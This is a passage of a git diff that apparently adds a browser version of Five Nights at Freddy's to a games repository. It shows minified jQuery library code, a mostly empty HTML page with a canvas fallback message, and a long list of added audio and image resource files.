d,e,f,g;p.support.html5Clone||p.isXMLDoc(a)||!bu.test("<"+a.nodeName+">")?g=a.cloneNode(!0):(bB.innerHTML=a.outerHTML,bB.removeChild(g=bB.firstChild));if((!p.support.noCloneEvent||!p.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!p.isXMLDoc(a)){bE(a,g),d=bF(a),e=bF(g);for(f=0;d[f];++f)e[f]&&bE(d[f],e[f])}if(b){bD(a,g);if(c){d=bF(a),e=bF(g);for(f=0;d[f];++f)bD(d[f],e[f])}}return d=e=null,g},clean:function(a,b,c,d){var f,g,h,i,j,k,l,m,n,o,q,r,s=b===e&&bA,t=[];if(!b||typeof b.createDocumentFragment=="undefined")b=e;for(f=0;(h=a[f])!=null;f++){typeof h=="number"&&(h+="");if(!h)continue;if(typeof h=="string")if(!br.test(h))h=b.createTextNode(h);else{s=s||bk(b),l=b.createElement("div"),s.appendChild(l),h=h.replace(bo,"<$1>$2>"),i=(bp.exec(h)||["",""])[1].toLowerCase(),j=bz[i]||bz._default,k=j[0],l.innerHTML=j[1]+h+j[2];while(k--)l=l.lastChild;if(!p.support.tbody){m=bq.test(h),n=i==="table"&&!m?l.firstChild&&l.firstChild.childNodes:j[1]===""&&!m?l.childNodes:[];for(g=n.length-1;g>=0;--g)p.nodeName(n[g],"tbody")&&!n[g].childNodes.length&&n[g].parentNode.removeChild(n[g])}!p.support.leadingWhitespace&&bn.test(h)&&l.insertBefore(b.createTextNode(bn.exec(h)[0]),l.firstChild),h=l.childNodes,l.parentNode.removeChild(l)}h.nodeType?t.push(h):p.merge(t,h)}l&&(h=l=s=null);if(!p.support.appendChecked)for(f=0;(h=t[f])!=null;f++)p.nodeName(h,"input")?bG(h):typeof h.getElementsByTagName!="undefined"&&p.grep(h.getElementsByTagName("input"),bG);if(c){q=function(a){if(!a.type||bx.test(a.type))return d?d.push(a.parentNode?a.parentNode.removeChild(a):a):c.appendChild(a)};for(f=0;(h=t[f])!=null;f++)if(!p.nodeName(h,"script")||!q(h))c.appendChild(h),typeof h.getElementsByTagName!="undefined"&&(r=p.grep(p.merge([],h.getElementsByTagName("script")),q),t.splice.apply(t,[f+1,0].concat(r)),f+=r.length)}return t},cleanData:function(a,b){var c,d,e,f,g=0,h=p.expando,i=p.cache,j=p.support.deleteExpando,k=p.event.special;for(;(e=a[g])!=null;g++)if(b||p.acceptData(e)){d=e[h],c=d&&i[d];if(c){if(c.events)for(f in c.events)k[f]?p.event.remove(e,f):p.removeEvent(e,f,c.handle);i[d]&&(delete i[d],j?delete e[h]:e.removeAttribute?e.removeAttribute(h):e[h]=null,p.deletedIds.push(d))}}}}),function(){var a,b;p.uaMatch=function(a){a=a.toLowerCase();var b=/(chrome)[ \/]([\w.]+)/.exec(a)||/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||a.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},a=p.uaMatch(g.userAgent),b={},a.browser&&(b[a.browser]=!0,b.version=a.version),b.chrome?b.webkit=!0:b.webkit&&(b.safari=!0),p.browser=b,p.sub=function(){function a(b,c){return new a.fn.init(b,c)}p.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function c(c,d){return d&&d instanceof p&&!(d instanceof a)&&(d=a(d)),p.fn.init.call(this,c,d,b)},a.fn.init.prototype=a.fn;var b=a(e);return a}}();var bH,bI,bJ,bK=/alpha\([^)]*\)/i,bL=/opacity=([^)]*)/,bM=/^(top|right|bottom|left)$/,bN=/^(none|table(?!-c[ea]).+)/,bO=/^margin/,bP=new RegExp("^("+q+")(.*)$","i"),bQ=new RegExp("^("+q+")(?!px)[a-z%]+$","i"),bR=new RegExp("^([-+])=("+q+")","i"),bS={},bT={position:"absolute",visibility:"hidden",display:"block"},bU={letterSpacing:0,fontWeight:400},bV=["Top","Right","Bottom","Left"],bW=["Webkit","O","Moz","ms"],bX=p.fn.toggle;p.fn.extend({css:function(a,c){return p.access(this,function(a,c,d){return d!==b?p.style(a,c,d):p.css(a,c)},a,c,arguments.length>1)},show:function(){return b$(this,!0)},hide:function(){return b$(this)},toggle:function(a,b){var c=typeof a=="boolean";return p.isFunction(a)&&p.isFunction(b)?bX.apply(this,arguments):this.each(function(){(c?a:bZ(this))?p(this).show():p(this).hide()})}}),p.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bH(a,"opacity");return c===""?"1":c}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":p.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!a||a.nodeType===3||a.nodeType===8||!a.style)return;var f,g,h,i=p.camelCase(c),j=a.style;c=p.cssProps[i]||(p.cssProps[i]=bY(j,i)),h=p.cssHooks[c]||p.cssHooks[i];if(d===b)return h&&"get"in h&&(f=h.get(a,!1,e))!==b?f:j[c];g=typeof d,g==="string"&&(f=bR.exec(d))&&(d=(f[1]+1)*f[2]+parseFloat(p.css(a,c)),g="number");if(d==null||g==="number"&&isNaN(d))return;g==="number"&&!p.cssNumber[i]&&(d+="px");if(!h||!("set"in h)||(d=h.set(a,d,e))!==b)try{j[c]=d}catch(k){}},css:function(a,c,d,e){var f,g,h,i=p.camelCase(c);return c=p.cssProps[i]||(p.cssProps[i]=bY(a.style,i)),h=p.cssHooks[c]||p.cssHooks[i],h&&"get"in h&&(f=h.get(a,!0,e)),f===b&&(f=bH(a,c)),f==="normal"&&c in bU&&(f=bU[c]),d||e!==b?(g=parseFloat(f),d||p.isNumeric(g)?g||0:f):f},swap:function(a,b,c){var d,e,f={};for(e in b)f[e]=a.style[e],a.style[e]=b[e];d=c.call(a);for(e in b)a.style[e]=f[e];return d}}),a.getComputedStyle?bH=function(b,c){var d,e,f,g,h=a.getComputedStyle(b,null),i=b.style;return h&&(d=h[c],d===""&&!p.contains(b.ownerDocument,b)&&(d=p.style(b,c)),bQ.test(d)&&bO.test(c)&&(e=i.width,f=i.minWidth,g=i.maxWidth,i.minWidth=i.maxWidth=i.width=d,d=h.width,i.width=e,i.minWidth=f,i.maxWidth=g)),d}:e.documentElement.currentStyle&&(bH=function(a,b){var c,d,e=a.currentStyle&&a.currentStyle[b],f=a.style;return e==null&&f&&f[b]&&(e=f[b]),bQ.test(e)&&!bM.test(b)&&(c=f.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":e,e=f.pixelLeft+"px",f.left=c,d&&(a.runtimeStyle.left=d)),e===""?"auto":e}),p.each(["height","width"],function(a,b){p.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth===0&&bN.test(bH(a,"display"))?p.swap(a,bT,function(){return cb(a,b,d)}):cb(a,b,d)},set:function(a,c,d){return b_(a,c,d?ca(a,b,d,p.support.boxSizing&&p.css(a,"boxSizing")==="border-box"):0)}}}),p.support.opacity||(p.cssHooks.opacity={get:function(a,b){return bL.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=p.isNumeric(b)?"alpha(opacity="+b*100+")":"",f=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&p.trim(f.replace(bK,""))===""&&c.removeAttribute){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bK.test(f)?f.replace(bK,e):f+" "+e}}),p(function(){p.support.reliableMarginRight||(p.cssHooks.marginRight={get:function(a,b){return p.swap(a,{display:"inline-block"},function(){if(b)return bH(a,"marginRight")})}}),!p.support.pixelPosition&&p.fn.position&&p.each(["top","left"],function(a,b){p.cssHooks[b]={get:function(a,c){if(c){var d=bH(a,b);return bQ.test(d)?p(a).position()[b]+"px":d}}}})}),p.expr&&p.expr.filters&&(p.expr.filters.hidden=function(a){return a.offsetWidth===0&&a.offsetHeight===0||!p.support.reliableHiddenOffsets&&(a.style&&a.style.display||bH(a,"display"))==="none"},p.expr.filters.visible=function(a){return!p.expr.filters.hidden(a)}),p.each({margin:"",padding:"",border:"Width"},function(a,b){p.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bV[d]+b]=e[d]||e[d-2]||e[0];return f}},bO.test(a)||(p.cssHooks[a+b].set=b_)});var cd=/%20/g,ce=/\[\]$/,cf=/\r?\n/g,cg=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,ch=/^(?:select|textarea)/i;p.fn.extend({serialize:function(){return p.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?p.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ch.test(this.nodeName)||cg.test(this.type))}).map(function(a,b){var c=p(this).val();return c==null?null:p.isArray(c)?p.map(c,function(a,c){return{name:b.name,value:a.replace(cf,"\r\n")}}):{name:b.name,value:c.replace(cf,"\r\n")}}).get()}}),p.param=function(a,c){var d,e=[],f=function(a,b){b=p.isFunction(b)?b():b==null?"":b,e[e.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=p.ajaxSettings&&p.ajaxSettings.traditional);if(p.isArray(a)||a.jquery&&!p.isPlainObject(a))p.each(a,function(){f(this.name,this.value)});else for(d in a)ci(d,a[d],c,f);return e.join("&").replace(cd,"+")};var cj,ck,cl=/#.*$/,cm=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,cn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,co=/^(?:GET|HEAD)$/,cp=/^\/\//,cq=/\?/,cr=/
+
+
+
+
+
+
+
+
+ Your browser does not support Canvas.
+
+
+
+
+
+
+
diff --git a/games/fnaf/fnaf1/resources/0000.mp3 b/games/fnaf/fnaf1/resources/0000.mp3
new file mode 100644
index 00000000..7e19bd21
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0000.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0000.ogg b/games/fnaf/fnaf1/resources/0000.ogg
new file mode 100644
index 00000000..33a3d5ae
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0000.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0000.png b/games/fnaf/fnaf1/resources/0000.png
new file mode 100644
index 00000000..bf6d7f8a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0000.png differ
diff --git a/games/fnaf/fnaf1/resources/0001.mp3 b/games/fnaf/fnaf1/resources/0001.mp3
new file mode 100644
index 00000000..ffea5aa4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0001.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0001.ogg b/games/fnaf/fnaf1/resources/0001.ogg
new file mode 100644
index 00000000..d3ce37ac
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0001.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0002.mp3 b/games/fnaf/fnaf1/resources/0002.mp3
new file mode 100644
index 00000000..21aca4bf
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0002.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0002.ogg b/games/fnaf/fnaf1/resources/0002.ogg
new file mode 100644
index 00000000..64515c4b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0002.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0002.png b/games/fnaf/fnaf1/resources/0002.png
new file mode 100644
index 00000000..dee959d4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0002.png differ
diff --git a/games/fnaf/fnaf1/resources/0003.mp3 b/games/fnaf/fnaf1/resources/0003.mp3
new file mode 100644
index 00000000..7906f16b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0003.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0003.ogg b/games/fnaf/fnaf1/resources/0003.ogg
new file mode 100644
index 00000000..ddb151bb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0003.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0004.mp3 b/games/fnaf/fnaf1/resources/0004.mp3
new file mode 100644
index 00000000..04a985f0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0004.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0004.ogg b/games/fnaf/fnaf1/resources/0004.ogg
new file mode 100644
index 00000000..95ca76af
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0004.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0004.png b/games/fnaf/fnaf1/resources/0004.png
new file mode 100644
index 00000000..fe1fc793
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0004.png differ
diff --git a/games/fnaf/fnaf1/resources/0005.mp3 b/games/fnaf/fnaf1/resources/0005.mp3
new file mode 100644
index 00000000..3e018a2b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0005.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0005.ogg b/games/fnaf/fnaf1/resources/0005.ogg
new file mode 100644
index 00000000..b6f00aea
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0005.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0006.mp3 b/games/fnaf/fnaf1/resources/0006.mp3
new file mode 100644
index 00000000..e7040893
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0006.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0006.ogg b/games/fnaf/fnaf1/resources/0006.ogg
new file mode 100644
index 00000000..a9de3056
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0006.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0006.png b/games/fnaf/fnaf1/resources/0006.png
new file mode 100644
index 00000000..9dd8fa74
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0006.png differ
diff --git a/games/fnaf/fnaf1/resources/0007.mp3 b/games/fnaf/fnaf1/resources/0007.mp3
new file mode 100644
index 00000000..f5a9e052
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0007.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0007.ogg b/games/fnaf/fnaf1/resources/0007.ogg
new file mode 100644
index 00000000..ebb72677
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0007.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0008.mp3 b/games/fnaf/fnaf1/resources/0008.mp3
new file mode 100644
index 00000000..5f53479c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0008.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0008.ogg b/games/fnaf/fnaf1/resources/0008.ogg
new file mode 100644
index 00000000..8927466f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0008.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0008.png b/games/fnaf/fnaf1/resources/0008.png
new file mode 100644
index 00000000..92dd8197
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0008.png differ
diff --git a/games/fnaf/fnaf1/resources/0009.mp3 b/games/fnaf/fnaf1/resources/0009.mp3
new file mode 100644
index 00000000..a98a3ab4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0009.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0009.ogg b/games/fnaf/fnaf1/resources/0009.ogg
new file mode 100644
index 00000000..8fb3cf43
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0009.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0009.png b/games/fnaf/fnaf1/resources/0009.png
new file mode 100644
index 00000000..7032340a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0009.png differ
diff --git a/games/fnaf/fnaf1/resources/0010.mp3 b/games/fnaf/fnaf1/resources/0010.mp3
new file mode 100644
index 00000000..f3981dcf
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0010.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0010.ogg b/games/fnaf/fnaf1/resources/0010.ogg
new file mode 100644
index 00000000..c7d2f624
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0010.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0010.png b/games/fnaf/fnaf1/resources/0010.png
new file mode 100644
index 00000000..9f6d8602
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0010.png differ
diff --git a/games/fnaf/fnaf1/resources/0011.mp3 b/games/fnaf/fnaf1/resources/0011.mp3
new file mode 100644
index 00000000..7e637229
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0011.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0011.ogg b/games/fnaf/fnaf1/resources/0011.ogg
new file mode 100644
index 00000000..aa92059a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0011.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0011.png b/games/fnaf/fnaf1/resources/0011.png
new file mode 100644
index 00000000..49895628
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0011.png differ
diff --git a/games/fnaf/fnaf1/resources/0012.mp3 b/games/fnaf/fnaf1/resources/0012.mp3
new file mode 100644
index 00000000..53fb8c2c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0012.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0012.ogg b/games/fnaf/fnaf1/resources/0012.ogg
new file mode 100644
index 00000000..2038f51c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0012.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0012.png b/games/fnaf/fnaf1/resources/0012.png
new file mode 100644
index 00000000..73beb5de
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0012.png differ
diff --git a/games/fnaf/fnaf1/resources/0013.mp3 b/games/fnaf/fnaf1/resources/0013.mp3
new file mode 100644
index 00000000..f17a30e3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0013.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0013.ogg b/games/fnaf/fnaf1/resources/0013.ogg
new file mode 100644
index 00000000..2004f128
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0013.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0013.png b/games/fnaf/fnaf1/resources/0013.png
new file mode 100644
index 00000000..c1d7277a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0013.png differ
diff --git a/games/fnaf/fnaf1/resources/0014.mp3 b/games/fnaf/fnaf1/resources/0014.mp3
new file mode 100644
index 00000000..966c467a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0014.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0014.ogg b/games/fnaf/fnaf1/resources/0014.ogg
new file mode 100644
index 00000000..ed37fe7b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0014.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0014.png b/games/fnaf/fnaf1/resources/0014.png
new file mode 100644
index 00000000..0d7a2e83
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0014.png differ
diff --git a/games/fnaf/fnaf1/resources/0015.mp3 b/games/fnaf/fnaf1/resources/0015.mp3
new file mode 100644
index 00000000..f88f5885
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0015.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0015.ogg b/games/fnaf/fnaf1/resources/0015.ogg
new file mode 100644
index 00000000..067d0a7b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0015.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0015.png b/games/fnaf/fnaf1/resources/0015.png
new file mode 100644
index 00000000..356ba36c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0015.png differ
diff --git a/games/fnaf/fnaf1/resources/0016.mp3 b/games/fnaf/fnaf1/resources/0016.mp3
new file mode 100644
index 00000000..a4e9a94b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0016.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0016.ogg b/games/fnaf/fnaf1/resources/0016.ogg
new file mode 100644
index 00000000..c22b8ff7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0016.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0016.png b/games/fnaf/fnaf1/resources/0016.png
new file mode 100644
index 00000000..a3d55d11
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0016.png differ
diff --git a/games/fnaf/fnaf1/resources/0017.mp3 b/games/fnaf/fnaf1/resources/0017.mp3
new file mode 100644
index 00000000..cdd99fe0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0017.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0017.ogg b/games/fnaf/fnaf1/resources/0017.ogg
new file mode 100644
index 00000000..9167bcfe
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0017.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0017.png b/games/fnaf/fnaf1/resources/0017.png
new file mode 100644
index 00000000..b73370fc
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0017.png differ
diff --git a/games/fnaf/fnaf1/resources/0018.mp3 b/games/fnaf/fnaf1/resources/0018.mp3
new file mode 100644
index 00000000..953d26c0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0018.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0018.ogg b/games/fnaf/fnaf1/resources/0018.ogg
new file mode 100644
index 00000000..ad79a15e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0018.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0018.png b/games/fnaf/fnaf1/resources/0018.png
new file mode 100644
index 00000000..1b6a7fd8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0018.png differ
diff --git a/games/fnaf/fnaf1/resources/0019.mp3 b/games/fnaf/fnaf1/resources/0019.mp3
new file mode 100644
index 00000000..b75b2ca6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0019.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0019.ogg b/games/fnaf/fnaf1/resources/0019.ogg
new file mode 100644
index 00000000..5c796c6a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0019.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0019.png b/games/fnaf/fnaf1/resources/0019.png
new file mode 100644
index 00000000..5feccc5f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0019.png differ
diff --git a/games/fnaf/fnaf1/resources/0020.mp3 b/games/fnaf/fnaf1/resources/0020.mp3
new file mode 100644
index 00000000..5159ebfd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0020.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0020.ogg b/games/fnaf/fnaf1/resources/0020.ogg
new file mode 100644
index 00000000..77170a68
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0020.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0020.png b/games/fnaf/fnaf1/resources/0020.png
new file mode 100644
index 00000000..f66e8dd2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0020.png differ
diff --git a/games/fnaf/fnaf1/resources/0021.mp3 b/games/fnaf/fnaf1/resources/0021.mp3
new file mode 100644
index 00000000..4b41a48d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0021.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0021.ogg b/games/fnaf/fnaf1/resources/0021.ogg
new file mode 100644
index 00000000..8c69ab02
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0021.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0021.png b/games/fnaf/fnaf1/resources/0021.png
new file mode 100644
index 00000000..6aa66acc
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0021.png differ
diff --git a/games/fnaf/fnaf1/resources/0022.mp3 b/games/fnaf/fnaf1/resources/0022.mp3
new file mode 100644
index 00000000..905c6e1a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0022.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0022.ogg b/games/fnaf/fnaf1/resources/0022.ogg
new file mode 100644
index 00000000..dde722b7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0022.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0022.png b/games/fnaf/fnaf1/resources/0022.png
new file mode 100644
index 00000000..69819715
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0022.png differ
diff --git a/games/fnaf/fnaf1/resources/0023.mp3 b/games/fnaf/fnaf1/resources/0023.mp3
new file mode 100644
index 00000000..e4566a49
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0023.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0023.ogg b/games/fnaf/fnaf1/resources/0023.ogg
new file mode 100644
index 00000000..e5a7c4c0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0023.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0023.png b/games/fnaf/fnaf1/resources/0023.png
new file mode 100644
index 00000000..9a811463
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0023.png differ
diff --git a/games/fnaf/fnaf1/resources/0024.mp3 b/games/fnaf/fnaf1/resources/0024.mp3
new file mode 100644
index 00000000..1c5ccd18
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0024.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0024.ogg b/games/fnaf/fnaf1/resources/0024.ogg
new file mode 100644
index 00000000..28fd9ba8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0024.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0025.mp3 b/games/fnaf/fnaf1/resources/0025.mp3
new file mode 100644
index 00000000..f45b334f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0025.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0025.ogg b/games/fnaf/fnaf1/resources/0025.ogg
new file mode 100644
index 00000000..5aff4aad
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0025.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0025.png b/games/fnaf/fnaf1/resources/0025.png
new file mode 100644
index 00000000..37b2c7ba
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0025.png differ
diff --git a/games/fnaf/fnaf1/resources/0026.mp3 b/games/fnaf/fnaf1/resources/0026.mp3
new file mode 100644
index 00000000..5387ed5f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0026.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0026.ogg b/games/fnaf/fnaf1/resources/0026.ogg
new file mode 100644
index 00000000..0f8a0d8c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0026.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0027.mp3 b/games/fnaf/fnaf1/resources/0027.mp3
new file mode 100644
index 00000000..12dba2eb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0027.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0027.ogg b/games/fnaf/fnaf1/resources/0027.ogg
new file mode 100644
index 00000000..64c07e15
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0027.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0028.mp3 b/games/fnaf/fnaf1/resources/0028.mp3
new file mode 100644
index 00000000..a76239ec
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0028.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0028.ogg b/games/fnaf/fnaf1/resources/0028.ogg
new file mode 100644
index 00000000..e8cbbe97
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0028.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0029.mp3 b/games/fnaf/fnaf1/resources/0029.mp3
new file mode 100644
index 00000000..d786d671
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0029.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0029.ogg b/games/fnaf/fnaf1/resources/0029.ogg
new file mode 100644
index 00000000..3b7d5a05
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0029.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0030.mp3 b/games/fnaf/fnaf1/resources/0030.mp3
new file mode 100644
index 00000000..4cfc7162
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0030.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0030.ogg b/games/fnaf/fnaf1/resources/0030.ogg
new file mode 100644
index 00000000..3034f2d6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0030.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0031.mp3 b/games/fnaf/fnaf1/resources/0031.mp3
new file mode 100644
index 00000000..28f59c22
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0031.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0031.ogg b/games/fnaf/fnaf1/resources/0031.ogg
new file mode 100644
index 00000000..c64042bd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0031.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0032.mp3 b/games/fnaf/fnaf1/resources/0032.mp3
new file mode 100644
index 00000000..ec65d888
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0032.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0032.ogg b/games/fnaf/fnaf1/resources/0032.ogg
new file mode 100644
index 00000000..c02f0588
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0032.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0033.mp3 b/games/fnaf/fnaf1/resources/0033.mp3
new file mode 100644
index 00000000..5e588c14
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0033.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0033.ogg b/games/fnaf/fnaf1/resources/0033.ogg
new file mode 100644
index 00000000..e157f6f8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0033.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0034.mp3 b/games/fnaf/fnaf1/resources/0034.mp3
new file mode 100644
index 00000000..1def93fd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0034.mp3 differ
